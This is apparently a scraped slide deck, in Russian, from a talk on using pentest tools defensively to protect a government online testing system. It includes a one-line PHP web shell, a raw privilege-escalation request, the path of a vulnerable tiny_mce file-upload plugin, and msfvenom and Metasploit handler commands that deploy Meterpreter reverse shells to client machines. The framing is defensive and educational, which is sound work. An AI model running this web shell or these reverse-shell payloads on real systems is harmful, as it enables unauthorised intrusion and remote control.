"Introduction to Bug Hunting", Yasser Ali"Introduction to Bug Hunting", Yasser Ali
"Introduction to Bug Hunting", Yasser Ali
 
"Hack it. Found it. Sell it. How hackers can be successful in the business wo...
"Hack it. Found it. Sell it. How hackers can be successful in the business wo..."Hack it. Found it. Sell it. How hackers can be successful in the business wo...
"Hack it. Found it. Sell it. How hackers can be successful in the business wo...
 
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
 
Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...
Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...
Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...
 
Владимир Махитко - Automotive security. New challenges
Владимир Махитко - Automotive security. New challengesВладимир Махитко - Automotive security. New challenges
Владимир Махитко - Automotive security. New challenges
 

Техники пентеста для активной защиты - Николай Овчарук

  • 1. Техники пентеста для активной защиты Mykola Ovcharuk (@movcharuk) Mykola Ilin (@mykolailin)
  • 2. $ whoami Николай Овчарук ● консультант KievInfoSecurity Ltd, инженер безопасности Volia ISP ● network security dcua CTF team Николай Ильин ● CTO KievInfoSecurity Ltd, научный сотрудник НТУУ “КПИ” ● сооснователь DefCon-UA , лидер OWASP Kiev, капитан dcua CTF team ● Email: m@infosec.kiev.ua 2
  • 3. Содержание 1. Исходные данные 2. Задачи 3. Защита хостинга 4. Аудит системы тестирования 5. Solver 6. Контроль клиентских машин 7. Инциденты 8. Выводы 3
  • 4. Исходные данные ● LEMP ● Веб-приложение на PHP ● Зоопарк из ~2k клиентских машин ● Открытый канал клиент-сервер 4
  • 5. Задачи ● защита от вмешательства в процесс тестирования ● контроль целостности результатов тестирования ● обеспечение доступности системы 5
  • 6. Защита хостинга ● Обновление системы ● IP-фильтрация ● Логирование на внешний независимый сервер ● Резервное копирование 6
  • 7. Аудит системы тестирования privilege escalation POST /users/password/645 HTTP/1.1 Host: ***.gov.ua Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://***.gov.ua/users/update/645 Content-Length: 24 Cookie: PHPSESSID=l90s0ohv5v…04sqd23; YII_CSRF_TOKEN=cd6fc8cf9110…1258473e6b512 Connection: keep-alive users%5Bpassword%5D=1234 HTTP/1.1 200 OK 7
  • 8. Аудит системы тестирования preauth remote code execution Расширение tiny_mce, плагин ajaxfilemanager позволяет загружать произвольные файлы без аутентификации http://***.gov.ua/assets/[6 hexdigits]/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php Эксплуатируется без дополнительных средств 8
  • 11. Аудит системы тестирования - 3 Notepad, web shell s.php <?=`$_GET[1]`;?> 11
  • 18. Solver ~ 100 строк кода, 2 секунды и 100% результат $ time ./gp_solver.py session <Cookie PHPSESSID=... for zzz.gov.ua/> logged in as K00000 ... 5059:5068-20345 5145:5154-20692 6966:6975-27980 8126:8135-32626 4209:4218- 16952 6754:6763-27130 6370:6379-25593 test finished RESULT 100% ./gp_solver.py 1.89s user 0.30s system 11% cpu 19.342 total В промышленном использовании -- JavaScript реализация, Ctrl-C/Ctrl-V address bar Подсветка правильных решений 18
  • 19. Solver Использованием солвера добились: ● Демонстрация бреши => изменение архитектуры ● Нагрузочное тестирование => оптимизация системных настроек 19
  • 20. Контроль клиентских машин ● Терминальный доступ к системе тестирования ● Meterpreter для контроля процессов и не только 20
  • 21. Контроль клиентских машин | Meterpreter ● Мониторинг системных процессов ● Printscreen, в случае подозрения на фрод ● Дамп памяти + volatility при анализе инцидентов 21
  • 22. Контроль клиентских машин | Meterpreter Пример генерации пейлоада: $ msfvenom -p windows/meterpreter/reverse_winhttps LHOST=$IP LPORT=$Port PayloadUUIDTracking=true HandlerSSLCert=./$Cert.pem StagerVerifySSLCert=true PayloadUUIDName=$UUIDName -f exe -o ./$UUIDName.exe Ждем подключений: $ msfconsole -r /root/.msf4/msfconsole.rc -q -x 'use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_winhttps; set LHOST $IP; set LPORT $Port; set HandlerSSLCert ./Cert.pem; set ExitOnSession false; set StagerVerifySSLCert true; set IgnoreUnknownPayloads true; set AutoRunScript multiscript -rc ./run.txt; exploit -j -z' Контролируется целостность шеллкода при передаче, защита от MITM 22
  • 23. Контроль клиентских машин | Meterpreter $ cat /root/.msf4/payloads.json "2b246a24f46aa2": { "arch": "x86", "platform": "windows", "payload": "payload/windows/meterpreter/reverse_winhttps", "datastore": { "AutoSystemInfo": true, "AutoVerifySession": true, "HANDLERSSLCERT": "./Cert.pem", "PayloadProxyIE": true, "PayloadUUIDTracking": true, "StagerVerifySSLCert": true }, "name": "k0000", "urls": [ "/KyRpaiT0buKeVp9XyMccFH...DKcycuab5Xj5fNpo-muQowoWzbWn180rRT3IH7JqaL" ] 23
  • 24. Контроль клиентских машин | Meterpreter msf exploit(handler) > sessions -l <…> 118 meterpreter x86/win32 WS14User @ WS14 x.x.x.x:13788 -> y.y.y.y:63836 (172.16.1.142) 119 meterpreter x86/win32 WS221User @ WS221 x.x.x.x:13788 -> y.y.y.y:63837 (172.16.1.200) 120 meterpreter x86/win32 WS223User @ WS223 x.x.x.x:13788 -> y.y.y.y:63838 (172.16.1.213) 121 meterpreter x86/win32 WS141Admin @ WS141 x.x.x.x:13788 -> y.y.y.y:63413 (172.16.1.68) 122 meterpreter x86/win32 PCAdministrator @ PC x.x.x.x:13788 -> y.y.y.y:56938 (172.16.180.79) 24
  • 25. Контроль клиентских машин | Meterpreter Опрос всех машин: <ruby> framework.sessions.each do |num,session| print_status("Session #{num}") session.sys.process.get_processes().each do |x| print_status(" #{num} = Process: #{x['pid']} #{x['name']}") end end </ruby> + run winenum, сравнение конфигурации до и после начала теста 25
  • 26. Контроль клиентских машин | Meterpreter 3 = Process: 1048 svchost.exe 3 = Process: 1176 spoolsv.exe 3 = Process: 1212 svchost.exe 3 = Process: 1428 taskhost.exe 3 = Process: 1548 explorer.exe 3 = Process: 1980 svchost.exe 3 = Process: 2016 TeamViewer_Service.exe 3 = Process: 1708 hkcmd.exe 3 = Process: 1700 igfxpers.exe 3 = Process: 2308 VDeck.exe 3 = Process: 2316 USBGuard.exe 3 = Process: 2328 jusched.exe 3 = Process: 2736 egui.exe 3 = Process: 2768 SearchIndexer.exe 26
  • 27. Инциденты ● Неполный физический контроль на местах, <1 представитель на аудиторию (помощь волонтеров) ● Не все уязвимости исправлены — вход под одним аккаунтом из 2 мест, принимается первое решение (детектируется в аудите логов) ● Разработчики пишут код после начала промышленного тестирования и имеют доступ к БД (детектируется при сверке статистики) 27
  • 28. Выводы ● Время промышленной эксплуатации системы и предыдущие пентесты не гарантируют безопасность. ● как разработчики, так и предыдущие аудиторы могут оказаться идиотами ● не зависит от заверений разработчиков, портфолио аудиторов и “cертификатов”, это не CTF — объективные оценки квалификации часто отсутствуют ● Многие технологии “атакующей стороны” могут быть полезны при защите. ● средства вторжения для нагрузочного тестирования ● средства доступа для контроля оконечных устройств 28
  • 29. 29